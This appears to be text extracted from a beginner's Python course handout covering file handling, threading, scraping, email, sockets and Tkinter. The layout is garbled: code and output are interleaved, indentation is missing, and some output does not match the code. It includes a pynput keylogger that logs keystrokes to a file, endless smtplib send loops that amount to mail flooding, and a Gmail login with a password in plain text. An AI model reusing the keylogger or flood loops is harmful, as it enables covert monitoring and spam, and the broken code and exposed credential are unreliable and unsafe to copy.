a = open('abc.txt','w')
a.write('This is First-Line\n'
'This is Second-Line\n'
'This is Third-Line\n'
'This is Fourth-Line\n'
'This is Fifth-Line\n'
'This is Sixth-Line\n'
'This is Seventh-Line\n')

a = open('abc.txt','r') This is First-Line


print(a.read()) This is Second-Line
This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
a = open('abc.txt','r') This
print(a.read(4))

a = open('abc.txt','r') This is First-Line


print(a.readline()) #It Give only one line
print(a.readline())#It Give Second-Line This is Second-Line

19
a = open('abc.txt','r') ['This is First-Line\n', 'This is Second-
print(a.readlines()) Line\n', 'This is Third-Line\n', 'This is
Fourth-Line\n', 'This is Fifth-Line\n',
'This is Sixth-Line\n', 'This is
Seventh-Line\n', 'This is Eiegth-
Line\n', 'This is Nineth-Line']
a = open('abc.txt','r') This is First-Line
for b in a: This is Second-Line
print(b.strip()) This is Third-Line
This is Fourth-Line
This is Fifth-Line
This is Sixth-Line
This is Seventh-Line
with open("example.txt", "w") as file: example.txt
file.write("Hello World!")
Hello World!
import pynput

from pynput.keyboard import Listener,Key


a = []
def keylogger(Key):
b = Key
a.append(b)
print(a)

with Listener(on_press=keylogger) as
listener:
listener.join()

def keylogger(Key):
b = Key
a = open('abc.1txt','a')
a.write(str(b))
a.write('\n')
with Listener(on_press=keylogger) as
listener:
listener.join()

Threading -> Single-Task


Multi-Threading -> Multiple-Task in a Single-Time.
Import threading

def add(a,b): 5
print(a+b)
-1
def sub(a,b): 6
print(a-b) 0.6666666666666666
def mul(a,b):
print(a*b)

def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
b.start()
c.start()
d.start()

Add 5
def add(a,b):
print('Add',a+b)
Sub -1
Divide 0.6666666666666666
def sub(a,b):
print('Sub',a-b)

def mul(a,b):
return False

def div(a,b):
print('Divide',a/b)

a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
b.start()
c.start()
d.start()

def add(a,b):
print(a+b)

def sub(a,b):
for i in range(1,100):
print('Loop',i)

def mul(a,b):
print(a*b)

def div(a,b):
print(a/b)
a = threading.Thread(target=add, args=(2,3))
b = threading.Thread(target=sub, args=(2,3))
c = threading.Thread(target=mul, args=(2,3))
d = threading.Thread(target=div, args=(2,3))

a.start()
a.join() #Wait for complete one function then
other will Run

b.start()
b.join()

c.start()
c.join()

d.start()
d.join()

import requests
from bs4 import BeautifulSoup
import html5lib

a = 'https://www.amazon.in/'
b = requests.get(a)
c = BeautifulSoup(b.content, 'html5lib')
d = c.prettify()
print(c.prettify())

a = open('html.txt','a')
a.write(str(d.encode()))

Simple Mail Transfer Protocol


1. import smtplib
2. use SMTP class. it takes Two values -> Gmail-Ip, Port-No-Gmail
3. Start tls -> for security
4. login with valid mail-id and Password.
5. Write a message.
6. Sendmail from sender to receiver.
7. close the connection.
# https://myaccount.google.com/u/4/apppasswords

import smtplib

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'

a.sendmail('[email protected]','[email protected]',mes
sage)
a.quit()

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:

a.sendmail('[email protected]','[email protected]',mes
sage)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
message = 'hello'
while True:

a.sendmail('[email protected]','[email protected]',mes
sage)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
mailid =
['[email protected]','[email protected]','dheerajsack@gmail.
com']
for i in mailid:
message = 'Hey!'
a.sendmail('[email protected]',i,message)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)

a = smtplib.SMTP('smtp.gmail.com',587)
a.starttls()
a.login('[email protected]','blnyotplpfccrusg')
while True:
mailid = input('Enter mail-id ')
m = input('Enter the message ')
if mailid =='' or m=='':
a.sendmail('[email protected]',mailid,m)

Socket
A socket is one endpoint of a two way communication link between two
programs running on the network.

Import socket
Socketclient.py

a = socket.socket()
a.connect(('localhost',1234))
m = 'hello'
m1 = m.encode()
a.send(m1)
a.close()

Socketserver.py

a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)

Socketclient.py
a = socket.socket()
a.connect(('localhost',1234))

while True:
m = input('Enter the message ')
m1 = m.encode()
a.send(m1)

Socketserver.py
a = socket.socket()
a.bind(('localhost',1234))
a.listen() #how many system listen(5 (no. of connection))
msg, addr = a.accept()
print(addr)
while True:
b = msg.recv(1024)
b1 = b.decode()
if b1 == '':
break
else:
print(b1)
SocketServer.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
a.bind(('localhost',1234))
while True:
msg, addr = a.recvfrom(1024)
msg1 = msg.decode()
print(msg1)
if msg1 == '':
break
else:
a1 = input('Message from Server: ')
a2 = a1.encode()
a.sendto(a2,addr)

SocketClient.py
a = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
while True:
a1 = input('Message from Client: ')
a2 = a1.encode()
a3 = ('localhost',1234)
a.sendto(a2,a3)
a4 = a.recvfrom(1024)
a5 = a4[0].decode()

if a5 == '':
break

else:
print(a5)

Tkinter
Graphical-User-Interface Geometery-Configuration

1. Import tkinter module 1. pack() -> At the center.


2. Create main window 2. grid() -> At the Table format. Rows
3. Add-Widgets and columns
4. Run the main window 3. place() -> At the Desired-position
Step1:-
from tkinter import *
a = Tk() -> start of GUI tkinter
a.geometry(‘600x600’) -> For size of Gui (widthxheight)
a.title(‘GUI’) -> Title of a Tkinter App

a.mainloop() -> End of GUI tkinter

Widgets of Tkinter
Button

b = Button(a, text='Submit',bg='black', foreground='white',


font=('calibri',12,'bold'), cursor='hand2' )

b.pack(side=LEFT)

b.pack(side=BOTTOM)

Checkbutton

c = IntVar()

checkbutton1 = Checkbutton(a, variable=c, text='Python', bg='white',


foreground='Red', font=('',13,'bold'))
checkbutton2 = Checkbutton(a, variable=c, text='Nodejs', bg='red',
foreground='Black', font=('',13,'bold'))
checkbutton3 = Checkbutton(a, variable=c, text='ML', bg='red',
foreground='Blue', font=('',13,'bold'))
checkbutton4 = Checkbutton(a, variable=c, text='Data-Science',
bg='red', foreground='Purple', font=('',13,'bold'))

checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)
Label

f = Label(a, text='Choose any option', font=('calibri',12,'bold'))

f.place(x=0,y=0)

Radiobutton

e = IntVar()

b1 = Radiobutton(a, variable=e, value=1, text='B.tech', bg = 'light


green', fg='blue')
b = Radiobutton(a, variable=e, value=2, text='M.tech', bg = 'light
green', fg = 'blue')
c = Radiobutton(a, variable=e, value=3, text='C.tech', bg = 'light
green', fg='blue')
d = Radiobutton(a, variable=e, value=4, text='D.tech', bg = 'light
green', fg='blue')

b1.place(x=0,y=40)
b.place(x=0,y=80)
c.place(x=0,y=120)
d.place(x=0,y=160)

Entry

b1 = Entry(a,width=50)
b1.pack()

b1 = Entry(a,width=50,show='*')
b1.pack()

Text

b1 = Text(a, width=20, height=20)


b1.pack()

Spinbox

b1 = Spinbox(a,from_=1, to=12)
b1.pack()
Scale

b1 = Scale(a, from_=1, to=10, orient=HORIZONTAL)


b1.pack()

Menu

b1 = Menu(a)
a.config(menu=b1)

b2 = Menu(b1, tearoff=0)

b1.add_cascade(label='File',menu=b2)
b2.add_command(label='open file', command=filedialog.askopenfile)
b2.add_command(label='create file')
b2.add_separator()
b2.add_command(label='save file', command=filedialog.asksaveasfile)

b3 = Menu(b2, tearoff=0)
b2.add_cascade(label='abc', menu=b3)
b3.add_command(label='abc1')
b3.add_command(label='abc2')

b3.add_command(label='abc3')

c1 = Menu(b1,tearoff=0)
b1.add_cascade(label='Edit', menu=c1)
c1.add_command(label='Edit1')
c1.add_command(label='Edit2')
c1.add_command(label='Edit3')

Frame

b1 = Frame(a, bg='pink')
b1.place(x=200, y=200)
b2 = Button(b1, text='Top')
b2.pack(side=TOP)

b3 = Button(b1, text='Bottom')
b3.pack(side=BOTTOM)

b4 = Button(b1, text='Right')
b4.pack(side=RIGHT)
b5 = Button(b1, text='Left')
b5.pack(side=LEFT)

Scrollbar

a1 = Scrollbar(a)
a1.pack(side=RIGHT, fill=Y)

Listbox

a2 = Listbox(a)
a2.insert(0,'Python')
a2.insert(1,'Java')
a2.insert(2, 'C++')
a2.pack()

Message

a1 = Message(a, text='This is a file', width=30)


a1.pack()

PanelWindow()

b = PanedWindow()
b.pack()

b1 = Spinbox(a, from_=1, to=20)


b.add(b1)

b2 = Entry(a)
b.add(b2)

b3 = Spinbox(a, from_=1, to=10)


b3.pack()

b4 = Entry(a)
b4.pack()

Canvas

b = Canvas(a, width=150, height=150)


b.pack()
b1 = ImageTk.PhotoImage(Image.open('3652191.png'))
b.create_image(10,10, anchor=NW, image=b1)
LabelFrame

b = LabelFrame(a, text='This is Frame')


b.pack(fill=BOTH ,expand='yes', side=TOP)

Import tkinter

a = tkinter.Tk()
a.geometry(‘600x600’) -> Size of the GUI
a.title(‘Title’) -> To name the GUI
a.config(bg = ‘black’) -> To change the background-Color
b = tkinter.Button(a, text='Submit', bg='black',
foreground='white', font=('calibri',12,'bold'),
cursor='hand2' )

c = tkinter.Button(a, text='Submit', bg='black',


foreground='white', font=('calibri',12,'bold'),
cursor='hand2' )

d = tkinter.Button(a, text='Exit1', bg='black',


foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=a.destroy )

e = tkinter.Button(a, text='Exit2', bg='black',


foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=a.quit )

def add():
c = 9+10
print(c)

add = tkinter.Button(a, text='Adding', bg='black',


foreground='white', font=('calibri',12,'bold'),
cursor='hand2', command=add )

add.place(x=150,y=200)
b.place(x=0, y=0)
c.place(x=40, y=60)
d.place(x=130, y=170)
e.place(x=220, y=280)

a.mainloop()
import tkinter

a = tkinter.Tk()
a.geometry('600x600')
a.title('Title')
a.config(bg='black')

c = tkinter.IntVar()

checkbutton1 = tkinter.Checkbutton(a, variable=c,


text='Python', bg='white', foreground='Red',
font=('',13,'bold'))
checkbutton2 = tkinter.Checkbutton(a, variable=c,
text='Nodejs', bg='red', foreground='Black',
font=('',13,'bold'))
checkbutton3 = tkinter.Checkbutton(a, variable=c, text='ML',
bg='red', foreground='Blue', font=('',13,'bold'))
checkbutton4 = tkinter.Checkbutton(a, variable=c, text='Data-
Science', bg='red', foreground='Purple', font=('',13,'bold'))

checkbutton1.place(x=0, y=0)
checkbutton2.place(x=0,y=40)
checkbutton3.place(x=0,y=80)
checkbutton4.place(x=0,y=120)

a.mainloop()
from tkinter import *
# from tkinter import messagebox

import calendar

a = Tk()

icon = PhotoImage(file='3652191.png')
a.iconphoto(False,icon)

a.geometry('700x700')
a.title('Calendar-Tkinter')

monthslabel = Label(text='Months')
monthslabel.place(x=80, y=100)

Months = Spinbox(a, from_=1,to=12, width=30)


Months.place(x=150, y=100)

yearslabel = Label(text='Years')
yearslabel.place(x=600,y=100)

Years = Entry(a, width=30)


Years.place(x=400, y=100)

Texts = Text(a, width=70, height=25)


Texts.place(y=150, x=80)

def Show():
m = Months.get()
y = Years.get()
Texts.delete('1.0',END)
cal = calendar.month(int(y), int(m))
Texts.insert(END,cal)

ShowButton = Button(a, text='Show', width=20,


command=Show)
ShowButton.place(x=100, y=600)

def clear():
Texts.delete('1.0',END)
ClearButton = Button(a, text='Clear', width=20,
command=clear)
ClearButton.place(x=300, y=600)

def exit():
a.destroy()

ExitButton = Button(a, text='Exit', width=20,


command=exit)
ExitButton.place(x=500, y=600)

a.mainloop()

You might also like